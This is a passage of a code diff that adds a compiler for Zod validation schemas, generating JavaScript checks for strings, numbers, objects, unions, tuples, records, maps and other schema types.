"starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return 